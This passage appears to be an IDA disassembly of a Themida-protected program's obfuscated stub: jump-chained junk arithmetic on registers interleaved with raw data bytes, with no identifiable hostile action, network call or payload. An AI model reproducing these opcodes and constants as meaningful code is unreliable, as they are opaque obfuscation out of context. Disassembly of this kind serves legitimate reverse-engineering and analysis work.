loc_556C86:				; CODE XREF: Themida_:0055E3ECj
		and	ecx, 3146519Fh
		sub	ecx, 0D26A392Bh
		mov	eax, ecx
		jmp	loc_55C9DE
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 5Dh
		dd 0EBE9F801h, 8100003Bh, 4ECh,	243C8900h, 4BFh, 73C68100h
		dd 8129D56Ah, 0D25957EEh, 0E9FE0164h, 0C563h, 0E904C183h
		dd 144E8h
; ---------------------------------------------------------------------------


loc_556CCC:				; CODE XREF: Themida_:005686EAj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5698EC
; ---------------------------------------------------------------------------
		db 0F7h
aS4_0		db '×éÜ4',0
		align 2
		dw 0C89h
		dd 0EFDEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556CE6:				; CODE XREF: Themida_:0056497Fj
		add	esi, 4
		jmp	loc_564AC8
; ---------------------------------------------------------------------------
		db 31h,	0CFh, 8Bh
		dd 0C483240Ch, 8BF80104h, 5450243Ch, 40558h, 0B9510000h
		dd 40F8246Dh, 12488E9h,	2434FF00h, 8638E9h, 0FDC58100h
		dd 53555926h, 7DBB5350h, 0E91C3D1Fh, 4F01h, 2CEB80h, 0EDE6E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D36:				; CODE XREF: Themida_:0055BF2Fj
		sub	eax, edi
		mov	edi, eax
		pop	eax
		push	esi
		jmp	loc_559ED5
; ---------------------------------------------------------------------------


loc_556D41:				; CODE XREF: Themida_:00564D35j
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_556D46:				; CODE XREF: Themida_:00564E42j
		push	4AE50919h
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_561A75
; ---------------------------------------------------------------------------


loc_556D56:				; CODE XREF: Themida_:00567DCEj
		add	esp, 4
		jmp	loc_567C36
; ---------------------------------------------------------------------------
		db 29h,	0C2h, 0E9h
		dd 0DD03h, 2BAh, 3309E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D72:				; CODE XREF: Themida_:00565D4Dj
		push	edi
		mov	edi, 0FE506E6h
		shr	edi, 5
		not	edi
		xor	edi, 4F9574D4h
		xor	edi, 0AE0BE24Bh
		push	4723h
		jmp	loc_55DFD5
; ---------------------------------------------------------------------------
		db 56h
		dd 1CE9E689h, 5A0000DAh, 1C8B665Eh, 2C48324h, 52665566h
		dd 2934BA66h, 24543166h, 665A6602h, 0F281665Ah,	5D662934h
		dd 5DF28166h, 36C9E93Eh
		db 1, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_559FC5
; ---------------------------------------------------------------------------
		dd 3BE9FB89h
		db 3Dh,	1, 0
; ---------------------------------------------------------------------------


loc_556DDB:				; CODE XREF: Themida_:0055DCD8j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, esi
		pop	esi
		push	esi
		mov	esi, 260D5E92h
		dec	esi
		push	edx
		mov	edx, 24C46348h
		jmp	loc_567ED8
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 8304C483h, 0FF5002E8h, 58042474h, 0E924048Fh, 0E321h
		dd 8107EDC1h, 0E23EEDC5h, 0E9EA01FEh, 10793h, 0EE6329B9h
		dd 41D9F702h, 9CDAF181h, 0ED81FD11h, 3AA3523Ch,	3FEABF57h
		dd 814F1484h, 833FB9EFh, 6E7C17Eh, 19D0F781h, 6FE98670h
		db 32h,	1, 0
; ---------------------------------------------------------------------------


loc_556E4F:				; CODE XREF: Themida_:0055C511j
		pop	eax
		mov	esi, ecx
		pop	ecx
		sub	esi, 0FFFFFFFFh
		sub	esi, 79B95EFAh
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 0EBC2622h
		jmp	loc_55B46A
; ---------------------------------------------------------------------------
		dd 875EF701h, 315C243Ch, 242C8BE8h, 10A51E9h, 243C8900h
		dd 0AD0A45BFh, 82685038h, 0E9000027h, 7FB3h
; ---------------------------------------------------------------------------


loc_556E98:				; CODE XREF: Themida_:00560AF2j
		mov	ebx, edx
		pop	edx
		sub	[esp+4], ebx
		pop	ebx
		pop	eax
		push	ebx
		mov	ebx, 20FF6109h
		jmp	loc_568264
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 11F18h, 0BA241489h, 2A0D5AACh, 2BFAF281h
		dd 29E908FBh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556EC7:				; CODE XREF: Themida_:00560488j
		push	edi
		jmp	loc_5697AF
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 8
		dd 61F6EF81h, 12E99C82h
		db 1Ch,	1, 0
; ---------------------------------------------------------------------------


loc_556EDB:				; CODE XREF: Themida_:0055C9CDj
		mov	edi, 12035007h
		jmp	loc_56193E
; ---------------------------------------------------------------------------


loc_556EE5:				; CODE XREF: Themida_:00567F56j
		add	esp, 4
		jmp	loc_569AA2
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0CBh
		dd 815A185Fh, 124149CAh, 0AFF2813Ch, 561FC97Bh,	696432BEh
		dd 1F8E918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556F0A:				; CODE XREF: Themida_:0055E749j
		and	eax, 7B7F032Ah
		add	eax, 0F16F499Bh
		add	edi, eax
		jmp	loc_569677
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9D7F7D7h, 0FFFFFDB3h
; ---------------------------------------------------------------------------


loc_556F24:				; CODE XREF: Themida_:00566F09j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, esi
		sub	eax, 93744C7h
		pop	esi
		sub	esp, 4
		jmp	loc_55A660
; ---------------------------------------------------------------------------


loc_556F40:				; CODE XREF: Themida_:00555E9Aj
		mov	ebx, 0DC9BE583h
		jmp	loc_559FAF
; ---------------------------------------------------------------------------


loc_556F4A:				; CODE XREF: Themida_:0055B131j
		pop	esi
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_55A294
; ---------------------------------------------------------------------------


loc_556F59:				; CODE XREF: Themida_:005665DFj
		add	ebp, 4
		jmp	loc_56A626
; ---------------------------------------------------------------------------
		dd 0E95A5452h, 10C8Fh, 4C481h, 0F7810000h, 0E07DFC9Ch
		dd 3C8BFA31h, 4E685724h, 89000056h, 4812424h, 424h, 0C7815F00h
		dd 4, 4C781h, 3C870000h, 0C9095C24h, 39C3840Fh,	8B540000h
		dd 0D8682434h, 0E900002Eh, 0C50Ch, 9C2404D2h, 100C1E9h
		dd 50E98100h, 0E971032Ah, 0DB23h, 1EE9E189h, 8B0000AFh
		dd 0C483241Ch, 4625E904h, 6FB20000h, 130ACE9h, 296C6800h
		dd 83E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556FEB:				; CODE XREF: Themida_:0055F1AAj
		add	edx, 0FFFFFFFFh
		jmp	loc_55D4D0
; ---------------------------------------------------------------------------
aZfs?sE		db 'ZfS·?S·¥',0
		db 0F8h
		dd 68CCE9h, 242C3300h, 0E924248Bh, 9F76h, 0E95AD689h, 0FFFFF5DBh
		dd 0DC59E9ADh, 27B60000h, 42BEE9h, 0F3EF8100h, 81442A62h
		dd 0D03E1C7h, 4EFC110h,	5D0BE9h, 243C8700h, 0FFCD015Ch
		dd 83592434h, 0E95604C4h, 83CAh, 0DD87CB31h, 6BE9E831h
		dd 89000137h, 4C181E1h,	0E9000000h, 8D1Eh, 42F56851h, 0F759118Eh
		dd 0BAC981D9h, 0E94CB76Ch, 108D8h
; ---------------------------------------------------------------------------


loc_557078:				; CODE XREF: Themida_:0056A31Cj
		pop	esp
		mov	[esp], ebx
		pop	eax
		push	esi
		push	5E94F5Ah
		push	dword ptr [esp]
		pop	esi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5561D9
; ---------------------------------------------------------------------------
		db 43h,	81h, 0CBh
		dd 7B5842B3h, 110E0E9h,	4C48300h, 3DC7E9h, 67D46800h, 4890000h
		dd 4306B824h, 0C78141F9h, 66D676CBh, 0B951C729h, 188E2664h
		dd 5067C181h, 0A0E94E48h
		db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5570DB:				; CODE XREF: Themida_:00568B0Dj
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_567E71
; ---------------------------------------------------------------------------


loc_5570E9:				; CODE XREF: Themida_:0055C871j
		mov	[esp], ecx
		push	430212EAh
		pop	ecx
		shl	ecx, 1
		jmp	loc_55E6E8
; ---------------------------------------------------------------------------
a1Yvs		db '1ÊYVé #',0
		align 2
		dw 0D687h
		dd 0F7D68742h, 0C1DEF7DEh, 814E03E6h, 8F20F5EEh, 49FFE994h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55711A:				; CODE XREF: Themida_:0056656Fj
		mov	al, 6Ch
		jmp	loc_55EFF5
; ---------------------------------------------------------------------------
		db 0C0h, 0E5h, 7
		dd 8005E5C0h, 0C58037C5h, 44E9E98Ah, 248B0000h,	242CD224h
		dd 0EB86E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55713E:				; CODE XREF: Themida_:0056A116j
		sub	ebp, 61B2383h
		push	edx
		jmp	loc_563F1A
; ---------------------------------------------------------------------------


loc_55714A:				; CODE XREF: Themida_:005630B4j
		mov	cl, 0DBh
		not	cl
		jmp	loc_56A7F1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 86A5E9h, 240C8900h, 125D49B9h, 3DB85024h
		dd 402B9A79h, 0F703E8C1h, 8B5D2DD0h, 0C13189C1h, 8BC80158h
		dd 0C483240Ch, 28DFE904h, 680001h, 8900003Fh, 5A542414h
		dd 636D68h, 24048900h, 8986853h, 0B3E979E8h, 66000081h
		dd 5524148Bh, 4F2EE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5571B2:				; CODE XREF: Themida_:0055EDFBj
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		jmp	loc_5651C0
; ---------------------------------------------------------------------------


loc_5571BD:				; CODE XREF: Themida_:0055F0FFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55C377
; ---------------------------------------------------------------------------
		dd 6624248Bh, 52240C8Bh, 0FFEFE7E9h, 81E289FFh,	4C2h, 4C28100h
		dd 87000000h, 15C2414h,	0B8505DEAh, 2EEA2E4Fh, 5B443B05h
		dd 0FB5FE945h, 0F751FFFFh, 57592414h, 927252BFh, 5FF92904h
		dd 8BE9CB01h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_557217:				; CODE XREF: Themida_:00566556j
		push	ebp
		push	509Ch
		mov	[esp], eax
		mov	eax, 5BF85736h
		push	ebx
		jmp	loc_560F58
; ---------------------------------------------------------------------------


loc_55722B:				; CODE XREF: Themida_:005695E7j
		movzx	ax, byte ptr [eax]
		push	small 4B5Ah
		jmp	loc_55FB18
; ---------------------------------------------------------------------------
aQhge		db 'QhGE',0
		align 2
		dw 489h
		dd 0C05DB024h, 0E88605E8h, 5AE9CDFEh, 890000B9h, 0CF315AD1h
		dd 5FFD2959h, 505DE901h, 0EC815157h, 4,	0E9241C89h, 32D6h
		dd 240C8B66h, 11BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_557275:				; CODE XREF: Themida_:00566777j
		add	edx, 0F4807C6h
		neg	edx
		add	edx, 3EC5D3D0h
		xor	edi, edx
		pop	edx
		xor	edx, edi
		pop	edi
		mov	ebp, edx
		pop	edx
		dec	ebp
		sub	ebp, 0FD90465h
		jmp	loc_566F30
; ---------------------------------------------------------------------------


loc_557298:				; CODE XREF: Themida_:0056A7DCj
		mov	edx, [esp]
		push	edi
		push	esp
		jmp	loc_556950
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 0E904C483h, 1391h
; ---------------------------------------------------------------------------


loc_5572B0:				; CODE XREF: Themida_:00564183j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	edx, 136666CAh
		add	edx, 76BA4349h
		push	42DAh
		mov	[esp], esi
		mov	esi, 4873642Ch
		sub	edx, esi
		jmp	loc_5594C7
; ---------------------------------------------------------------------------


loc_5572DF:				; CODE XREF: Themida_:00564D86j
		mov	eax, edx
		pop	edx
		push	3A3Dh
		mov	[esp], ebp
		push	2F5Dh
		mov	[esp], eax
		jmp	loc_56007F
; ---------------------------------------------------------------------------
		db 29h
		dd 7FE95EF1h, 5B00005Fh, 194BE9h, 36BD5500h, 817AAE76h
		dd 995630CDh, 29E9450Fh, 5C000115h, 50F9F766h, 707F68h
		dd 24248900h, 4240481h,	8B000000h, 0A7E92404h, 0BF000135h
		dd 1359360Dh, 565FF829h, 0EF45EBBEh, 5EF0291Ah,	5FADBA52h
		dd 0F28164FCh, 3C162D40h, 2F9DC281h, 0E2C1785Ah, 81DAF707h
		dd 146B01EAh, 94C28168h, 174C7FBh, 0C8015AD0h, 624B932Dh
		dd 26AFE96Ah, 0C8B0000h, 0F9F4E924h, 0CA010000h, 0F15BE959h
		dd 0EA810000h, 657B6AEEh, 2414875Fh, 203E95Ch
		db 1, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55EE21
; ---------------------------------------------------------------------------
		dd 797ABB53h, 0BD550E3Ch, 4D58442Ch, 1FE9EB31h
		db 29h,	1, 0
; ---------------------------------------------------------------------------


loc_5573B7:				; CODE XREF: Themida_:0055C766j
		shr	ecx, 7
		jmp	loc_555EC3
; ---------------------------------------------------------------------------
		db 81h
		dd 0CE012AC7h, 24148B06h, 4C481h, 0B5E90000h, 0F70000CDh
		dd 0A8F781D7h, 1A0B2C2h, 243C8BF9h, 4C481h, 34FF0000h
		dd 24148B24h, 8104C483h, 4C4h, 1C4F0900h, 0FF2434FFh, 1BE92434h
		dd 830000D6h, 0BB5304C4h, 5AA96D24h, 0D6F7F387h, 8143F387h
		dd 845816EBh, 93B8502Dh, 5074B2Ah, 77934B33h, 0E4AE9h
		dd 4EC8300h, 12233E9h, 2454F600h, 1C8B6601h, 2C48324h
		dd 0E940B551h, 0EC62h, 74A1EA81h, 48B347Ch, 0F60DE924h
		dd 0C2800000h, 0E9D388F0h, 6C4h
; ---------------------------------------------------------------------------


loc_55745C:				; CODE XREF: Themida_:0056661Aj
		push	20h
		pop	ebx
		jmp	loc_56A70C
; ---------------------------------------------------------------------------
		db 89h
		dd 57522434h, 0AB3959BFh, 1A0E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557476:				; CODE XREF: Themida_:0056425Cj
		pop	esi
		push	eax
		push	ebx
		jmp	loc_55E2B5
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4EC81h, 3C890000h, 7CB4E924h, 0EB60000h, 286BED80h
		dd 6BC580F5h, 0B7535A66h, 6038E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5574A6:				; CODE XREF: Themida_:00564555j
		xor	eax, 69AD1B2Ah
		xor	eax, 123A30A3h
		or	eax, 46CD5125h
		sub	eax, 0F6FDD3EDh
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_555DC8
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2404h, 48B6624h,	0E9545024h, 119C7h, 0E904C483h
		dd 0FFFFEE67h, 4244481h, 1F750CD2h, 5B2434FFh, 5E08950h
		dd 4, 0E904C083h, 9D93h, 3C8B5257h, 4C48324h, 0EEE9FE89h
		dd 660000E1h, 8124048Bh, 4ECh, 241C8900h, 8DC7E9h, 2434FF00h
		dd 4EC835Fh, 54243C89h,	4C7815Fh, 81000000h, 4C7h, 243C8700h
		dd 0A07E9h
		db 0
; ---------------------------------------------------------------------------


loc_557549:				; CODE XREF: Themida_:00564D65j
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 4CF21A2Eh
		mov	esi, edx
		jmp	loc_569A99
; ---------------------------------------------------------------------------
aS?i		db '\é?©',0
		dd 0C3895F00h, 6F1BE958h, 8F5B0000h, 85E92404h,	0FF00007Fh
		dd 8B042474h, 9BE9242Ch, 0B80000ABh, 4,	4244401h, 0C2815A58h
		dd 4, 6804C283h, 1769h,	0FF241489h, 5A042474h, 8B24048Fh
		dd 72E92424h
		db 2, 1, 0
; ---------------------------------------------------------------------------


loc_5575AF:				; CODE XREF: Themida_:00564A66j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565156
; ---------------------------------------------------------------------------
		dw 2E68h
		dd 89000072h, 368240Ch,	591E8615h, 0FDE98141h, 81766F07h
		dd 8BC790E9h, 0E9CF895Dh, 0EEABh, 0BFE9D501h, 0C100010Eh
		dd 0BB5308E6h, 2534624h, 1428E9h, 0D9F75E00h, 67F468h
		dd 243C8900h, 0CF0EDBBFh, 46F78173h, 0C1762375h, 0F78104E7h
		dd 7A2113B7h, 930E950h,	0F7810000h, 3A1D2D96h, 3889C781h
		dd 0C7811F47h, 4F276AC0h, 50D6E9h, 0E9D5F700h, 118Eh, 4BBh
		dd 9D89E900h, 0C4810000h, 4, 31242C33h,	0B6E9242Ch
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55764F:				; CODE XREF: Themida_:00563617j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55BC9F
; ---------------------------------------------------------------------------


loc_557662:				; CODE XREF: Themida_:0055BF61j
		add	esp, 4
		push	edx
		mov	edx, 2B20537Dh
		not	edx
		xor	edx, 3C2542F9h
		jmp	loc_5688BA
; ---------------------------------------------------------------------------


loc_55767B:				; CODE XREF: Themida_:0055FB8Aj
		add	bl, al
		jmp	loc_560386
; ---------------------------------------------------------------------------


loc_557682:				; CODE XREF: Themida_:00557CE3j
		shr	edi, 3
		sub	edi, 135CD0D3h
		push	0FE7h
		mov	[esp], edi
		pop	ecx
		jmp	loc_568F59
; ---------------------------------------------------------------------------


loc_557699:				; CODE XREF: Themida_:0055A414j
		mov	edx, 2AE57C8Ch
		sub	[esp+8], edx
		pop	edx
		pop	eax
		pop	edx
		push	ebp
		push	edx
		jmp	loc_5684D1
; ---------------------------------------------------------------------------
		dd 0E33C681h, 0C6810733h, 732B1BA6h, 0E955C601h, 7154h
		dd 0E92434FFh, 734Ch, 0E681E6D1h, 4797AE3h, 0FFE785E9h
		dd 0FDF381FFh, 31A4FE93h, 1145E9DDh
		db 1, 0
; ---------------------------------------------------------------------------


loc_5576E2:				; CODE XREF: Themida_:0055E860j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_5576EC:				; CODE XREF: Themida_:0055E1C6j
					; Themida_:00563735j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56688B
; ---------------------------------------------------------------------------


loc_557705:				; CODE XREF: Themida_:00568228j
		mov	[esp], ebx
		mov	ebx, 62150D1Eh
		jmp	loc_56AC3F
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 1296CE9h
		db 0
; ---------------------------------------------------------------------------


loc_557719:				; CODE XREF: Themida_:00559DFBj
		push	ecx
		mov	ecx, 249A18B0h
		jmp	loc_569E54
; ---------------------------------------------------------------------------
		dd 33F3EF81h, 50E97A7Ch, 870000FAh, 0E95C2404h,	5C4Eh
; ---------------------------------------------------------------------------


loc_557738:				; CODE XREF: Themida_:005686C6j
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	esi
		jmp	loc_555EB8
; ---------------------------------------------------------------------------
		dd 2DD801h, 504EA53h, 1A86239Ch, 0E9C5015Bh, 6EEh, 2C8BEE21h
		dd 4C48324h, 3365BB53h,	0DE09164Bh, 7AE9525Bh
		db 2 dup(1), 0
; ---------------------------------------------------------------------------


loc_55777B:				; CODE XREF: Themida_:00563064j
		mov	edx, 5A20209Eh
		sub	eax, edx
		pop	edx
		push	dword ptr [edi+eax*4]
		jmp	loc_568204
; ---------------------------------------------------------------------------


loc_55778B:				; CODE XREF: Themida_:00563015j
		mov	[esp], edi
		mov	edi, 28500D3Dh
		sub	edi, 0CC59FECDh
		sub	edx, 670A7B89h
		add	edx, edi
		add	edx, 670A7B89h
		pop	edi
		jmp	loc_557BB0
; ---------------------------------------------------------------------------
		db 31h,	0DEh, 5Bh
		dd 4247429h, 114A9E9h, 8E9C100h, 5E80E981h, 0E9817F9Ah
		dd 80664188h, 6065A32Dh, 8E7CE96Ah, 47B70000h, 403EE9h
		dd 4C98BA00h, 0D331260Dh, 5A2434FFh, 4C481h, 0EC810000h
		dd 4, 0B9240C89h, 68FC91h, 78A2EB81h, 0C3816A1Fh, 42580248h
		dd 793E950h, 0C6810000h, 174C5398h, 2633E957h, 0BD550001h
		dd 71AA668Ch, 3C3CED81h, 0ED81628Ch, 1E24218Dh,	81FFED83h
		dd 0A750FEF5h, 42E58174h, 8138EB1Ch, 6C6029C5h,	5DEA2975h
		dd 7142F281h, 0E2C16EE0h, 0A6BB5307h, 0E93A0C4Eh, 10EA9h
		dd 8106EBC1h, 0A7D622F3h, 5E37E912h, 4BD0000h, 0E9000000h
		dd 8B40h, 0E9CDB753h, 9B38h
; ---------------------------------------------------------------------------


loc_557874:				; CODE XREF: Themida_:0056A2D7j
		sub	cl, 83h
		push	edx
		mov	dh, cl
		mov	ah, dh
		pop	edx
		pop	ecx
		xor	dh, ah
		pop	ax
		push	ecx
		mov	cl, 0BCh
		sub	dh, cl
		pop	ecx
		mov	cl, dh
		jmp	loc_5641B9
; ---------------------------------------------------------------------------


loc_55788F:				; CODE XREF: Themida_:0056A74Cj
		mov	[esp], ebp
		push	ebx
		push	145250BDh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5647CC
; ---------------------------------------------------------------------------


loc_5578A6:				; CODE XREF: Themida_:0055C7B0j
		mov	esi, ebx
		jmp	loc_5677E5
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0ECh
		dd 4, 0BB241C89h, 4, 51A3BF57h,	0F7816523h, 3B0549C7h
		dd 3BE9DFF7h, 890000ADh, 4C181E1h, 0E9000000h, 39A4h, 88D78853h
		dd 88505BF9h, 15FCE9C8h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5578EA:				; CODE XREF: Themida_:0056881Cj
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_568BD7
; ---------------------------------------------------------------------------
		dd 0ED81D5F7h, 0E7F7FF7Bh, 0C66AE957h, 0EA810000h, 9DA6373h
		dd 186C685Dh, 34890000h, 2BE24h, 0F2010000h, 0E025E9h
		db 0
; ---------------------------------------------------------------------------


loc_55792D:				; CODE XREF: Themida_:00566F0Fj
		mov	ecx, 16625E48h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55BE52
; ---------------------------------------------------------------------------


loc_55793A:				; CODE XREF: Themida_:00562417j
		add	eax, 6D562DF7h
		inc	eax
		dec	eax
		shl	eax, 2
		xor	eax, 746BE398h
		mov	ebp, eax
		pop	eax
		jmp	loc_56AD75
; ---------------------------------------------------------------------------
		db 1, 0D9h, 0E9h
		dd 2BFAh, 31241C33h, 1C33241Ch,	0E9565C24h, 7985h
; ---------------------------------------------------------------------------


loc_557968:				; CODE XREF: Themida_:005676C1j
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C5815D54h, 4, 26853h, 64E90000h, 50000FCh, 151C35CDh
		dd 0CA57E9h
		db 0
; ---------------------------------------------------------------------------


loc_55798D:				; CODE XREF: Themida_:00566BB5j
		pop	ebp
		jmp	loc_55A141
; ---------------------------------------------------------------------------
		db 29h
		dd 0D9015AD3h, 319CE95Bh, 0D5680001h, 8900000Fh, 74FF240Ch
		dd 8F590424h, 248B2404h, 4896624h, 0E30AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579BA:				; CODE XREF: Themida_:00563B57j
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 8704C683h, 505C2434h,	42474FFh, 0A7CBE9h
		dd 0A1BF5700h, 290A904Ch, 0D8015FF8h, 904CA105h, 2434FF0Ah
		dd 0B455E9h, 0FBE95300h, 8100002Ah, 0F0541EFh, 4EC8348h
		dd 0BE243489h, 26A00DEBh, 34FFF701h, 61E95E24h,	5F000125h
		dd 0E9F8015Bh, 8B9Eh, 2C59EF30h, 284704D1h, 4472CF8h, 0C3305BD1h
		dd 66C0B60Fh, 0E924148Bh, 3DCBh
; ---------------------------------------------------------------------------


loc_557A38:				; CODE XREF: Themida_:00564B69j
		xor	ch, bl
		pop	ebx
		or	ah, ch
		pop	ecx
		push	0
		jmp	loc_55D9C9
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 24248B24h, 0BDA7E9h, 26800h, 15A0000h
		dd 2434FFD1h, 5EE9525Ah, 5400000Ah, 55240C8Bh, 0C5815D54h
		dd 4, 4C581h, 2C870000h, 5450E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557A86:				; CODE XREF: Themida_:00558158j
		xchg	edx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_560333
; ---------------------------------------------------------------------------
		db 53h
		dd 0E1D329BBh, 5BDF3130h, 0A7E9F831h, 0C1000106h, 685606E8h
		dd 7BEh, 68240C89h, 7ABE5BCCh, 36F18159h, 0C14E6450h, 0E98103E1h
		dd 402316A3h, 0E959CE89h, 6FDh,	31241433h, 0AE92414h, 5D00012Dh
		dd 1036FE9h, 0A3C38100h, 292EE378h, 0A3BD55F3h,	552EE378h
		dd 932D1FBDh, 4ECD8122h, 81788215h, 25641DE5h, 75C5815Dh
		dd 29CF6A30h, 0C3815DEBh, 5AF27BA3h, 0EB81EB29h, 5AF27BA3h
		dd 6353E9h, 0E9585400h,	12024h,	80CBFE5Ah, 0BCE932EBh
		dd 680000F8h, 3A70543Ch, 120D2E9h, 2E1C100h, 38B3BB53h
		dd 0D9314AD1h, 0F07BE95Bh, 3430FFFFh, 24343224h, 30243430h
		dd 0E9F730FEh, 0DACAh
; ---------------------------------------------------------------------------


loc_557B58:				; CODE XREF: Themida_:00562F66j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56A3B5
; ---------------------------------------------------------------------------
		dd 7F39B850h, 4B964FEh,	315B7244h, 0E98158C1h, 3AB12D52h
		dd 4EC8349h, 0BD242C89h, 21554042h, 315DE929h, 0F12959CEh
		dd 0E924348Bh, 3D4Bh, 495E68h, 24348900h, 0C681E689h, 4
		dd 8704C683h, 0E95C2434h, 0FFFFE114h
; ---------------------------------------------------------------------------


loc_557BB0:				; CODE XREF: Themida_:005577A8j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569473
; ---------------------------------------------------------------------------


loc_557BBE:				; CODE XREF: Themida_:0055B521j
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_568E7A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 6B71E9h, 0E9C38800h, 12943h, 0E924048Bh
		dd 9A35h
; ---------------------------------------------------------------------------


loc_557BEC:				; CODE XREF: Themida_:00565815j
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_5627E2
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFE0BCh
; ---------------------------------------------------------------------------


loc_557C08:				; CODE XREF: Themida_:00556122j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	20F873B0h
		pop	ebp
		or	ebp, 18693699h
		jmp	loc_55DA97
; ---------------------------------------------------------------------------


loc_557C20:				; CODE XREF: Themida_:0056282Ej
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		jmp	loc_55A565
; ---------------------------------------------------------------------------
		dw 0CB9h
		dd 57318127h, 9498BBFh,	5FF92118h, 8103E1C1h, 863046C1h
		dd 46C1811Fh, 5215B919h, 1BA3E9h, 8BF72900h, 76E92434h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557C67:				; CODE XREF: Themida_:0056805Cj
		add	esp, 4
		push	eax
		mov	eax, 32A10E58h
		push	edx
		mov	edx, 0
		sub	edx, eax
		jmp	loc_563113
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 109CFE9h, 88E95800h,	8100011Fh, 4C4h, 0B4E95500h, 0C1000052h
		dd 0C78103E7h, 76E1405Bh, 627FB850h, 0FAE9726Dh, 89000100h
		dd 5FFB89EFh, 5D5BD989h, 7011EA81h, 0C2816D44h,	3B93176Fh
		dd 0EA81CA01h, 3B93176Fh, 6DCBE9h, 3C8B6600h, 2C48324h
		dd 7960E9h
		db 0
; ---------------------------------------------------------------------------


loc_557CD9:				; CODE XREF: Themida_:00556416j
		pop	esi
		add	edi, ebp
		add	edi, 6DC30DA7h
		pop	ebp
		jmp	loc_557682
; ---------------------------------------------------------------------------


loc_557CE8:				; CODE XREF: Themida_:00559DABj
		mov	[esp], edx
		push	523845CFh
		pop	edx
		sub	edx, 7ACF4FD6h
		jmp	loc_56A3E6
; ---------------------------------------------------------------------------
aCFrD		db 'Àç',7,'fR¶d',0
